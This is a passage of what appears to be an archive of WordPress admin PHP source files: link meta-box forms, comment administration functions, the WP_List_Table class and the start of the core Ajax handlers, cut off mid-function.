value="sibling" id="sibling" <?php xfn_check('family', 'sibling'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sibling') ?> </label> <label for="spouse"> <input class="valinp" type="radio" name="family" value="spouse" id="spouse" <?php xfn_check('family', 'spouse'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('spouse') ?> </label> <label for="family"> <input class="valinp" type="radio" name="family" value="" id="family" <?php xfn_check('family'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?> </label> </fieldset></td> </tr> <tr> <th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?></th> <td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?> </span></legend> <label for="muse"> <input class="valinp" type="checkbox" name="romantic" value="muse" id="muse" <?php xfn_check('romantic', 'muse'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('muse') ?> </label> <label for="crush"> <input class="valinp" type="checkbox" name="romantic" value="crush" id="crush" <?php xfn_check('romantic', 'crush'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('crush') ?> </label> <label for="date"> <input class="valinp" type="checkbox" name="romantic" value="date" id="date" <?php xfn_check('romantic', 'date'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('date') ?> </label> <label for="romantic"> <input class="valinp" type="checkbox" name="romantic" value="sweetheart" id="romantic" <?php xfn_check('romantic', 'sweetheart'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sweetheart') ?> </label> </fieldset></td> </tr> </table> <p><?php _e('If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href="http://gmpg.org/xfn/">XFN</a>.'); ?></p> <?php } /** * Display advanced link options form fields. * * @since 2.6.0 * * @param object $link */ function link_advanced_meta_box($link) { ?> <table class="links-table" cellpadding="0"> <tr> <th scope="row"><label for="link_image"><?php _e('Image Address') ?></label></th> <td><input type="text" name="link_image" class="code" id="link_image" maxlength="255" value="<?php echo ( isset( $link->link_image ) ? esc_attr($link->link_image) : ''); ?>" /></td> </tr> <tr> <th scope="row"><label for="rss_uri"><?php _e('RSS Address') ?></label></th> <td><input name="link_rss" class="code" type="text" id="rss_uri" maxlength="255" value="<?php echo ( isset( $link->link_rss ) ? esc_attr($link->link_rss) : ''); ?>" /></td> </tr> <tr> <th scope="row"><label for="link_notes"><?php _e('Notes') ?></label></th> <td><textarea name="link_notes" id="link_notes" rows="10"><?php echo ( isset( $link->link_notes ) ? $link->link_notes : ''); // textarea_escaped ?></textarea></td> </tr> <tr> <th scope="row"><label for="link_rating"><?php _e('Rating') ?></label></th> <td><select name="link_rating" id="link_rating" size="1"> <?php for ( $r = 0; $r <= 10; $r++ ) { echo '<option value="' . $r . '"'; if ( isset($link->link_rating) && $link->link_rating == $r ) echo ' selected="selected"'; echo('>' . $r . '</option>'); } ?></select> <?php _e('(Leave at 0 for no rating.)') ?> </td> </tr> </table> <?php } /** * Display post thumbnail meta box. * * @since 2.9.0 */ function post_thumbnail_meta_box( $post ) { $thumbnail_id = get_post_meta( $post->ID, '_thumbnail_id', true ); echo _wp_post_thumbnail_html( $thumbnail_id, $post->ID ); } /** * Display fields for ID3 data * * @since 3.9.0 * * @param WP_Post $post */ function attachment_id3_data_meta_box( $post ) { $meta = array(); if ( ! empty( $post->ID ) ) { $meta = wp_get_attachment_metadata( $post->ID ); } foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) : ?> <p> <label for="title"><?php echo $label ?></label><br /> <input type="text" name="id3_<?php echo esc_attr( $key ) ?>" id="id3_<?php echo esc_attr( $key ) ?>" class="large-text" value="<?php if ( ! empty( $meta[ $key ] ) ) { echo esc_attr( $meta[ $key ] ); } ?>" /> </p> <?php endforeach; } comment.php000077700000011527151514577750006755 0ustar00<?php /** * WordPress Comment Administration API. * * @package WordPress * @subpackage Administration */ /** * Determine if a comment exists based on author and date. * * @since 2.0.0 * @uses $wpdb * * @param string $comment_author Author of the comment * @param string $comment_date Date of the comment * @return mixed Comment post ID on success. */ function comment_exists($comment_author, $comment_date) { global $wpdb; $comment_author = stripslashes($comment_author); $comment_date = stripslashes($comment_date); return $wpdb->get_var( $wpdb->prepare("SELECT comment_post_ID FROM $wpdb->comments WHERE comment_author = %s AND comment_date = %s", $comment_author, $comment_date) ); } /** * Update a comment with values provided in $_POST. * * @since 2.0.0 */ function edit_comment() { if ( ! current_user_can( 'edit_comment', (int) $_POST['comment_ID'] ) ) wp_die ( __( 'You are not allowed to edit comments on this post.' ) ); if ( isset( $_POST['newcomment_author'] ) ) $_POST['comment_author'] = $_POST['newcomment_author']; if ( isset( $_POST['newcomment_author_email'] ) ) $_POST['comment_author_email'] = $_POST['newcomment_author_email']; if ( isset( $_POST['newcomment_author_url'] ) ) $_POST['comment_author_url'] = $_POST['newcomment_author_url']; if ( isset( $_POST['comment_status'] ) ) $_POST['comment_approved'] = $_POST['comment_status']; if ( isset( $_POST['content'] ) ) $_POST['comment_content'] = $_POST['content']; if ( isset( $_POST['comment_ID'] ) ) $_POST['comment_ID'] = (int) $_POST['comment_ID']; foreach ( array ('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) { if ( !empty( $_POST['hidden_' . $timeunit] ) && $_POST['hidden_' . $timeunit] != $_POST[$timeunit] ) { $_POST['edit_date'] = '1'; break; } } if ( !empty ( $_POST['edit_date'] ) ) { $aa = $_POST['aa']; $mm = $_POST['mm']; $jj = $_POST['jj']; $hh = $_POST['hh']; $mn = $_POST['mn']; $ss = $_POST['ss']; $jj = ($jj > 31 ) ? 31 : $jj; $hh = ($hh > 23 ) ? $hh -24 : $hh; $mn = ($mn > 59 ) ? $mn -60 : $mn; $ss = ($ss > 59 ) ? $ss -60 : $ss; $_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss"; } wp_update_comment( $_POST ); } /** * Returns a comment object based on comment ID. * * @since 2.0.0 * * @param int $id ID of comment to retrieve. * @return bool|object Comment if found. False on failure. */ function get_comment_to_edit( $id ) { if ( !$comment = get_comment($id) ) return false; $comment->comment_ID = (int) $comment->comment_ID; $comment->comment_post_ID = (int) $comment->comment_post_ID; $comment->comment_content = format_to_edit( $comment->comment_content ); /** * Filter the comment content before editing. * * @since 2.0.0 * * @param string $comment->comment_content Comment content. */ $comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content ); $comment->comment_author = format_to_edit( $comment->comment_author ); $comment->comment_author_email = format_to_edit( $comment->comment_author_email ); $comment->comment_author_url = format_to_edit( $comment->comment_author_url ); $comment->comment_author_url = esc_url($comment->comment_author_url); return $comment; } /** * Get the number of pending comments on a post or posts * * @since 2.3.0 * @uses $wpdb * * @param int|array $post_id Either a single Post ID or an array of Post IDs * @return int|array Either a single Posts pending comments as an int or an array of ints keyed on the Post IDs */ function get_pending_comments_num( $post_id ) { global $wpdb; $single = false; if ( !is_array($post_id) ) { $post_id_array = (array) $post_id; $single = true; } else { $post_id_array = $post_id; } $post_id_array = array_map('intval', $post_id_array); $post_id_in = "'" . implode("', '", $post_id_array) . "'"; $pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id_in ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_A ); if ( $single ) { if ( empty($pending) ) return 0; else return absint($pending[0]['num_comments']); } $pending_keyed = array(); // Default to zero pending for all posts in request foreach ( $post_id_array as $id ) $pending_keyed[$id] = 0; if ( !empty($pending) ) foreach ( $pending as $pend ) $pending_keyed[$pend['comment_post_ID']] = absint($pend['num_comments']); return $pending_keyed; } /** * Add avatars to relevant places in admin, or try to. * * @since 2.5.0 * @uses $comment * * @param string $name User name. * @return string Avatar with Admin name. */ function floated_admin_avatar( $name ) { global $comment; $avatar = get_avatar( $comment, 32, 'mystery' ); return "$avatar $name"; } function enqueue_comment_hotkeys_js() { if ( 'true' == get_user_option( 'comment_shortcuts' ) ) wp_enqueue_script( 'jquery-table-hotkeys' ); } class-wp-list-table.php000077700000057436151514577750011113 0ustar00<?php /** * Base class for displaying a list of items in an ajaxified HTML table. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_List_Table { /** * The current list of items * * @since 3.1.0 * @var array * @access protected */ var $items; /** * Various information about the current table * * @since 3.1.0 * @var array * @access private */ var $_args; /** * Various information needed for displaying the pagination * * @since 3.1.0 * @var array * @access private */ var $_pagination_args = array(); /** * The current screen * * @since 3.1.0 * @var object * @access protected */ var $screen; /** * Cached bulk actions * * @since 3.1.0 * @var array * @access private */ var $_actions; /** * Cached pagination output * * @since 3.1.0 * @var string * @access private */ var $_pagination; /** * Constructor. The child class should call this constructor from its own constructor * * @param array $args An associative array with information about the current table * @access protected */ function __construct( $args = array() ) { $args = wp_parse_args( $args, array( 'plural' => '', 'singular' => '', 'ajax' => false, 'screen' => null, ) ); $this->screen = convert_to_screen( $args['screen'] ); add_filter( "manage_{$this->screen->id}_columns", array( $this, 'get_columns' ), 0 ); if ( !$args['plural'] ) $args['plural'] = $this->screen->base; $args['plural'] = sanitize_key( $args['plural'] ); $args['singular'] = sanitize_key( $args['singular'] ); $this->_args = $args; if ( $args['ajax'] ) { // wp_enqueue_script( 'list-table' ); add_action( 'admin_footer', array( $this, '_js_vars' ) ); } } /** * Checks the current user's permissions * @uses wp_die() * * @since 3.1.0 * @access public * @abstract */ function ajax_user_can() { die( 'function WP_List_Table::ajax_user_can() must be over-ridden in a sub-class.' ); } /** * Prepares the list of items for displaying. * @uses WP_List_Table::set_pagination_args() * * @since 3.1.0 * @access public * @abstract */ function prepare_items() { die( 'function WP_List_Table::prepare_items() must be over-ridden in a sub-class.' ); } /** * An internal method that sets all the necessary pagination arguments * * @param array $args An associative array with information about the pagination * @access protected */ function set_pagination_args( $args ) { $args = wp_parse_args( $args, array( 'total_items' => 0, 'total_pages' => 0, 'per_page' => 0, ) ); if ( !$args['total_pages'] && $args['per_page'] > 0 ) $args['total_pages'] = ceil( $args['total_items'] / $args['per_page'] ); // redirect if page number is invalid and headers are not already sent if ( ! headers_sent() && ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) && $args['total_pages'] > 0 && $this->get_pagenum() > $args['total_pages'] ) { wp_redirect( add_query_arg( 'paged', $args['total_pages'] ) ); exit; } $this->_pagination_args = $args; } /** * Access the pagination args * * @since 3.1.0 * @access public * * @param string $key * @return array */ function get_pagination_arg( $key ) { if ( 'page' == $key ) return $this->get_pagenum(); if ( isset( $this->_pagination_args[$key] ) ) return $this->_pagination_args[$key]; } /** * Whether the table has items to display or not * * @since 3.1.0 * @access public * * @return bool */ function has_items() { return !empty( $this->items ); } /** * Message to be displayed when there are no items * * @since 3.1.0 * @access public */ function no_items() { _e( 'No items found.' ); } /** * Display the search box. * * @since 3.1.0 * @access public * * @param string $text The search button text * @param string $input_id The search input id */ function search_box( $text, $input_id ) { if ( empty( $_REQUEST['s'] ) && !$this->has_items() ) return; $input_id = $input_id . '-search-input'; if ( ! empty( $_REQUEST['orderby'] ) ) echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />'; if ( ! empty( $_REQUEST['order'] ) ) echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />'; if ( ! empty( $_REQUEST['post_mime_type'] ) ) echo '<input type="hidden" name="post_mime_type" value="' . esc_attr( $_REQUEST['post_mime_type'] ) . '" />'; if ( ! empty( $_REQUEST['detached'] ) ) echo '<input type="hidden" name="detached" value="' . esc_attr( $_REQUEST['detached'] ) . '" />'; ?> <p class="search-box"> <label class="screen-reader-text" for="<?php echo $input_id ?>"><?php echo $text; ?>:</label> <input type="search" id="<?php echo $input_id ?>" name="s" value="<?php _admin_search_query(); ?>" /> <?php submit_button( $text, 'button', false, false, array('id' => 'search-submit') ); ?> </p> <?php } /** * Get an associative array ( id => link ) with the list * of views available on this table. * * @since 3.1.0 * @access protected * * @return array */ function get_views() { return array(); } /** * Display the list of views available on this table. * * @since 3.1.0 * @access public */ function views() { $views = $this->get_views(); /** * Filter the list of available list table views. * * The dynamic portion of the hook name, $this->screen->id, refers * to the ID of the current screen, usually a string. * * @since 3.5.0 * * @param array $views An array of available list table views. */ $views = apply_filters( "views_{$this->screen->id}", $views ); if ( empty( $views ) ) return; echo "<ul class='subsubsub'>\n"; foreach ( $views as $class => $view ) { $views[ $class ] = "\t<li class='$class'>$view"; } echo implode( " |</li>\n", $views ) . "</li>\n"; echo "</ul>"; } /** * Get an associative array ( option_name => option_title ) with the list * of bulk actions available on this table. * * @since 3.1.0 * @access protected * * @return array */ function get_bulk_actions() { return array(); } /** * Display the bulk actions dropdown. * * @since 3.1.0 * @access public */ function bulk_actions() { if ( is_null( $this->_actions ) ) { $no_new_actions = $this->_actions = $this->get_bulk_actions(); /** * Filter the list table Bulk Actions drop-down. * * The dynamic portion of the hook name, $this->screen->id, refers * to the ID of the current screen, usually a string. * * This filter can currently only be used to remove bulk actions. * * @since 3.5.0 * * @param array $actions An array of the available bulk actions. */ $this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions ); $this->_actions = array_intersect_assoc( $this->_actions, $no_new_actions ); $two = ''; } else { $two = '2'; } if ( empty( $this->_actions ) ) return; echo "<select name='action$two'>\n"; echo "<option value='-1' selected='selected'>" . __( 'Bulk Actions' ) . "</option>\n"; foreach ( $this->_actions as $name => $title ) { $class = 'edit' == $name ? ' class="hide-if-no-js"' : ''; echo "\t<option value='$name'$class>$title</option>\n"; } echo "</select>\n"; submit_button( __( 'Apply' ), 'action', false, false, array( 'id' => "doaction$two" ) ); echo "\n"; } /** * Get the current action selected from the bulk actions dropdown. * * @since 3.1.0 * @access public * * @return string|bool The action name or False if no action was selected */ function current_action() { if ( isset( $_REQUEST['action'] ) && -1 != $_REQUEST['action'] ) return $_REQUEST['action']; if ( isset( $_REQUEST['action2'] ) && -1 != $_REQUEST['action2'] ) return $_REQUEST['action2']; return false; } /** * Generate row actions div * * @since 3.1.0 * @access protected * * @param array $actions The list of actions * @param bool $always_visible Whether the actions should be always visible * @return string */ function row_actions( $actions, $always_visible = false ) { $action_count = count( $actions ); $i = 0; if ( !$action_count ) return ''; $out = '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">'; foreach ( $actions as $action => $link ) { ++$i; ( $i == $action_count ) ? $sep = '' : $sep = ' | '; $out .= "<span class='$action'>$link$sep</span>"; } $out .= '</div>'; return $out; } /** * Display a monthly dropdown for filtering items * * @since 3.1.0 * @access protected */ function months_dropdown( $post_type ) { global $wpdb, $wp_locale; $months = $wpdb->get_results( $wpdb->prepare( " SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month FROM $wpdb->posts WHERE post_type = %s ORDER BY post_date DESC ", $post_type ) ); /** * Filter the 'Months' drop-down results. * * @since 3.7.0 * * @param object $months The months drop-down query results. * @param string $post_type The post type. */ $months = apply_filters( 'months_dropdown_results', $months, $post_type ); $month_count = count( $months ); if ( !$month_count || ( 1 == $month_count && 0 == $months[0]->month ) ) return; $m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0; ?> <select name='m'> <option<?php selected( $m, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option> <?php foreach ( $months as $arc_row ) { if ( 0 == $arc_row->year ) continue; $month = zeroise( $arc_row->month, 2 ); $year = $arc_row->year; printf( "<option %s value='%s'>%s</option>\n", selected( $m, $year . $month, false ), esc_attr( $arc_row->year . $month ), /* translators: 1: month name, 2: 4-digit year */ sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month ), $year ) ); } ?> </select> <?php } /** * Display a view switcher * * @since 3.1.0 * @access protected */ function view_switcher( $current_mode ) { $modes = array( 'list' => __( 'List View' ), 'excerpt' => __( 'Excerpt View' ) ); ?> <input type="hidden" name="mode" value="<?php echo esc_attr( $current_mode ); ?>" /> <div class="view-switch"> <?php foreach ( $modes as $mode => $title ) { $class = ( $current_mode == $mode ) ? 'class="current"' : ''; echo "<a href='" . esc_url( add_query_arg( 'mode', $mode, $_SERVER['REQUEST_URI'] ) ) . "' $class><img id='view-switch-$mode' src='" . esc_url( includes_url( 'images/blank.gif' ) ) . "' width='20' height='20' title='$title' alt='$title' /></a>\n"; } ?> </div> <?php } /** * Display a comment count bubble * * @since 3.1.0 * @access protected * * @param int $post_id * @param int $pending_comments */ function comments_bubble( $post_id, $pending_comments ) { $pending_phrase = sprintf( __( '%s pending' ), number_format( $pending_comments ) ); if ( $pending_comments ) echo '<strong>'; echo "<a href='" . esc_url( add_query_arg( 'p', $post_id, admin_url( 'edit-comments.php' ) ) ) . "' title='" . esc_attr( $pending_phrase ) . "' class='post-com-count'><span class='comment-count'>" . number_format_i18n( get_comments_number() ) . "</span></a>"; if ( $pending_comments ) echo '</strong>'; } /** * Get the current page number * * @since 3.1.0 * @access protected * * @return int */ function get_pagenum() { $pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0; if( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] ) $pagenum = $this->_pagination_args['total_pages']; return max( 1, $pagenum ); } /** * Get number of items to display on a single page * * @since 3.1.0 * @access protected * * @return int */ function get_items_per_page( $option, $default = 20 ) { $per_page = (int) get_user_option( $option ); if ( empty( $per_page ) || $per_page < 1 ) $per_page = $default; /** * Filter the number of items to be displayed on each page of the list table. * * The dynamic hook name, $option, refers to the per page option depending * on the type of list table in use. Possible values may include: * 'edit_comments_per_page', 'sites_network_per_page', 'site_themes_network_per_page', * 'themes_netework_per_page', 'users_network_per_page', 'edit_{$post_type}', etc. * * @since 2.9.0 * * @param int $per_page Number of items to be displayed. Default 20. */ return (int) apply_filters( $option, $per_page ); } /** * Display the pagination. * * @since 3.1.0 * @access protected */ function pagination( $which ) { if ( empty( $this->_pagination_args ) ) return; extract( $this->_pagination_args, EXTR_SKIP ); $output = '<span class="displaying-num">' . sprintf( _n( '1 item', '%s items', $total_items ), number_format_i18n( $total_items ) ) . '</span>'; $current = $this->get_pagenum(); $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $current_url = remove_query_arg( array( 'hotkeys_highlight_last', 'hotkeys_highlight_first' ), $current_url ); $page_links = array(); $disable_first = $disable_last = ''; if ( $current == 1 ) $disable_first = ' disabled'; if ( $current == $total_pages ) $disable_last = ' disabled'; $page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>", 'first-page' . $disable_first, esc_attr__( 'Go to the first page' ), esc_url( remove_query_arg( 'paged', $current_url ) ), '«' ); $page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>", 'prev-page' . $disable_first, esc_attr__( 'Go to the previous page' ), esc_url( add_query_arg( 'paged', max( 1, $current-1 ), $current_url ) ), '‹' ); if ( 'bottom' == $which ) $html_current_page = $current; else $html_current_page = sprintf( "<input class='current-page' title='%s' type='text' name='paged' value='%s' size='%d' />", esc_attr__( 'Current page' ), $current, strlen( $total_pages ) ); $html_total_pages = sprintf( "<span class='total-pages'>%s</span>", number_format_i18n( $total_pages ) ); $page_links[] = '<span class="paging-input">' . sprintf( _x( '%1$s of %2$s', 'paging' ), $html_current_page, $html_total_pages ) . '</span>'; $page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>", 'next-page' . $disable_last, esc_attr__( 'Go to the next page' ), esc_url( add_query_arg( 'paged', min( $total_pages, $current+1 ), $current_url ) ), '›' ); $page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>", 'last-page' . $disable_last, esc_attr__( 'Go to the last page' ), esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ), '»' ); $pagination_links_class = 'pagination-links'; if ( ! empty( $infinite_scroll ) ) $pagination_links_class = ' hide-if-js'; $output .= "\n<span class='$pagination_links_class'>" . join( "\n", $page_links ) . '</span>'; if ( $total_pages ) $page_class = $total_pages < 2 ? ' one-page' : ''; else $page_class = ' no-pages'; $this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>"; echo $this->_pagination; } /** * Get a list of columns. The format is: * 'internal-name' => 'Title' * * @since 3.1.0 * @access protected * @abstract * * @return array */ function get_columns() { die( 'function WP_List_Table::get_columns() must be over-ridden in a sub-class.' ); } /** * Get a list of sortable columns. The format is: * 'internal-name' => 'orderby' * or * 'internal-name' => array( 'orderby', true ) * * The second format will make the initial sorting order be descending * * @since 3.1.0 * @access protected * * @return array */ function get_sortable_columns() { return array(); } /** * Get a list of all, hidden and sortable columns, with filter applied * * @since 3.1.0 * @access protected * * @return array */ function get_column_info() { if ( isset( $this->_column_headers ) ) return $this->_column_headers; $columns = get_column_headers( $this->screen ); $hidden = get_hidden_columns( $this->screen ); $sortable_columns = $this->get_sortable_columns(); /** * Filter the list table sortable columns for a specific screen. * * The dynamic portion of the hook name, $this->screen->id, refers * to the ID of the current screen, usually a string. * * @since 3.5.0 * * @param array $sortable_columns An array of sortable columns. */ $_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns ); $sortable = array(); foreach ( $_sortable as $id => $data ) { if ( empty( $data ) ) continue; $data = (array) $data; if ( !isset( $data[1] ) ) $data[1] = false; $sortable[$id] = $data; } $this->_column_headers = array( $columns, $hidden, $sortable ); return $this->_column_headers; } /** * Return number of visible columns * * @since 3.1.0 * @access public * * @return int */ function get_column_count() { list ( $columns, $hidden ) = $this->get_column_info(); $hidden = array_intersect( array_keys( $columns ), array_filter( $hidden ) ); return count( $columns ) - count( $hidden ); } /** * Print column headers, accounting for hidden and sortable columns. * * @since 3.1.0 * @access protected * * @param bool $with_id Whether to set the id attribute or not */ function print_column_headers( $with_id = true ) { list( $columns, $hidden, $sortable ) = $this->get_column_info(); $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $current_url = remove_query_arg( 'paged', $current_url ); if ( isset( $_GET['orderby'] ) ) $current_orderby = $_GET['orderby']; else $current_orderby = ''; if ( isset( $_GET['order'] ) && 'desc' == $_GET['order'] ) $current_order = 'desc'; else $current_order = 'asc'; if ( ! empty( $columns['cb'] ) ) { static $cb_counter = 1; $columns['cb'] = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . __( 'Select All' ) . '</label>' . '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />'; $cb_counter++; } foreach ( $columns as $column_key => $column_display_name ) { $class = array( 'manage-column', "column-$column_key" ); $style = ''; if ( in_array( $column_key, $hidden ) ) $style = 'display:none;'; $style = ' style="' . $style . '"'; if ( 'cb' == $column_key ) $class[] = 'check-column'; elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ) ) ) $class[] = 'num'; if ( isset( $sortable[$column_key] ) ) { list( $orderby, $desc_first ) = $sortable[$column_key]; if ( $current_orderby == $orderby ) { $order = 'asc' == $current_order ? 'desc' : 'asc'; $class[] = 'sorted'; $class[] = $current_order; } else { $order = $desc_first ? 'desc' : 'asc'; $class[] = 'sortable'; $class[] = $desc_first ? 'asc' : 'desc'; } $column_display_name = '<a href="' . esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ) . '"><span>' . $column_display_name . '</span><span class="sorting-indicator"></span></a>'; } $id = $with_id ? "id='$column_key'" : ''; if ( !empty( $class ) ) $class = "class='" . join( ' ', $class ) . "'"; echo "<th scope='col' $id $class $style>$column_display_name</th>"; } } /** * Display the table * * @since 3.1.0 * @access public */ function display() { extract( $this->_args ); $this->display_tablenav( 'top' ); ?> <table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>"> <thead> <tr> <?php $this->print_column_headers(); ?> </tr> </thead> <tfoot> <tr> <?php $this->print_column_headers( false ); ?> </tr> </tfoot> <tbody id="the-list"<?php if ( $singular ) echo " data-wp-lists='list:$singular'"; ?>> <?php $this->display_rows_or_placeholder(); ?> </tbody> </table> <?php $this->display_tablenav( 'bottom' ); } /** * Get a list of CSS classes for the <table> tag * * @since 3.1.0 * @access protected * * @return array */ function get_table_classes() { return array( 'widefat', 'fixed', $this->_args['plural'] ); } /** * Generate the table navigation above or below the table * * @since 3.1.0 * @access protected */ function display_tablenav( $which ) { if ( 'top' == $which ) wp_nonce_field( 'bulk-' . $this->_args['plural'] ); ?> <div class="tablenav <?php echo esc_attr( $which ); ?>"> <div class="alignleft actions bulkactions"> <?php $this->bulk_actions(); ?> </div> <?php $this->extra_tablenav( $which ); $this->pagination( $which ); ?> <br class="clear" /> </div> <?php } /** * Extra controls to be displayed between bulk actions and pagination * * @since 3.1.0 * @access protected */ function extra_tablenav( $which ) {} /** * Generate the <tbody> part of the table * * @since 3.1.0 * @access protected */ function display_rows_or_placeholder() { if ( $this->has_items() ) { $this->display_rows(); } else { list( $columns, $hidden ) = $this->get_column_info(); echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">'; $this->no_items(); echo '</td></tr>'; } } /** * Generate the table rows * * @since 3.1.0 * @access protected */ function display_rows() { foreach ( $this->items as $item ) $this->single_row( $item ); } /** * Generates content for a single row of the table * * @since 3.1.0 * @access protected * * @param object $item The current item */ function single_row( $item ) { static $row_class = ''; $row_class = ( $row_class == '' ? ' class="alternate"' : '' ); echo '<tr' . $row_class . '>'; $this->single_row_columns( $item ); echo '</tr>'; } /** * Generates the columns for a single row of the table * * @since 3.1.0 * @access protected * * @param object $item The current item */ function single_row_columns( $item ) { list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $class = "class='$column_name column-$column_name'"; $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; $attributes = "$class$style"; if ( 'cb' == $column_name ) { echo '<th scope="row" class="check-column">'; echo $this->column_cb( $item ); echo '</th>'; } elseif ( method_exists( $this, 'column_' . $column_name ) ) { echo "<td $attributes>"; echo call_user_func( array( $this, 'column_' . $column_name ), $item ); echo "</td>"; } else { echo "<td $attributes>"; echo $this->column_default( $item, $column_name ); echo "</td>"; } } } /** * Handle an incoming ajax request (called from admin-ajax.php) * * @since 3.1.0 * @access public */ function ajax_response() { $this->prepare_items(); extract( $this->_args ); extract( $this->_pagination_args, EXTR_SKIP ); ob_start(); if ( ! empty( $_REQUEST['no_placeholder'] ) ) $this->display_rows(); else $this->display_rows_or_placeholder(); $rows = ob_get_clean(); $response = array( 'rows' => $rows ); if ( isset( $total_items ) ) $response['total_items_i18n'] = sprintf( _n( '1 item', '%s items', $total_items ), number_format_i18n( $total_items ) ); if ( isset( $total_pages ) ) { $response['total_pages'] = $total_pages; $response['total_pages_i18n'] = number_format_i18n( $total_pages ); } die( json_encode( $response ) ); } /** * Send required variables to JavaScript land * * @access private */ function _js_vars() { $args = array( 'class' => get_class( $this ), 'screen' => array( 'id' => $this->screen->id, 'base' => $this->screen->base, ) ); printf( "<script type='text/javascript'>list_args = %s;</script>\n", json_encode( $args ) ); } } ajax-actions.php000077700000203711151514577750007672 0ustar00<?php /** * WordPress Core Ajax Handlers. * * @package WordPress * @subpackage Administration */ /* * No-privilege Ajax handlers. */ /** * Heartbeat API (experimental) * * Runs when the user is not logged in. */ function wp_ajax_nopriv_heartbeat() { $response = array(); // screen_id is the same as $current_screen->id and the JS global 'pagenow' if ( ! empty($_POST['screen_id']) ) $screen_id = sanitize_key($_POST['screen_id']); else $screen_id = 'front'; if ( ! empty($_POST['data']) ) { $data = wp_unslash( (array) $_POST['data'] ); /** * Filter Heartbeat AJAX response in no-privilege environments. * * @since 3.6.0 * * @param array|object $response The no-priv Heartbeat response object or array. * @param array $data An array of data passed via $_POST. * @param string $screen_id The screen id. */ $response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id ); } /** * Filter Heartbeat AJAX response when no data is passed. * * @since 3.6.0 * * @param array|object $response The Heartbeat response object or array. * @param string $screen_id The screen id. */ $response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id ); /** * Fires when Heartbeat ticks in no-privilege environments. * * Allows the transport to be easily replaced with long-polling. * * @since 3.6.0 * * @param array|object $response The no-priv Heartbeat response. * @param string $screen_id The screen id. */ do_action( 'heartbeat_nopriv_tick', $response, $screen_id ); // send the current time according to the server $response['server_time'] = time(); wp_send_json($response); } /* * GET-based Ajax handlers. */ function wp_ajax_fetch_list() { global $wp_list_table; $list_class = $_GET['list_args']['class']; check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' ); $wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) ); if ( ! $wp_list_table ) wp_die( 0 ); if ( ! $wp_list_table->ajax_user_can() ) wp_die( -1 ); $wp_list_table->ajax_response(); wp_die( 0 ); } function wp_ajax_ajax_tag_search() { global $wpdb; if ( isset( $_GET['tax'] ) ) { $taxonomy = sanitize_key( $_GET['tax'] ); $tax = get_taxonomy( $taxonomy ); if ( ! $tax ) wp_die( 0 ); if ( ! current_user_can( $tax->cap->assign_terms ) ) wp_die( -1 ); } else { wp_die( 0 ); } $s = wp_unslash( $_GET['q'] ); $comma = _x( ',', 'tag delimiter' ); if ( ',' !== $comma ) $s = str_replace( $comma, ',', $s ); if ( false !== strpos( $s, ',' ) ) { $s = explode( ',', $s ); $s = $s[count( $s ) - 1]; } $s = trim( $s ); if ( strlen( $s ) < 2 ) wp_die(); // require 2 chars for matching $results = get_terms( $taxonomy, array( 'name__like' => $s, 'fields' => 'names', 'hide_empty' => false ) ); echo join( $results, "\n" ); wp_die(); } function wp_ajax_wp_compression_test() { if ( !current_user_can( 'manage_options' ) ) wp_die( -1 ); if ( 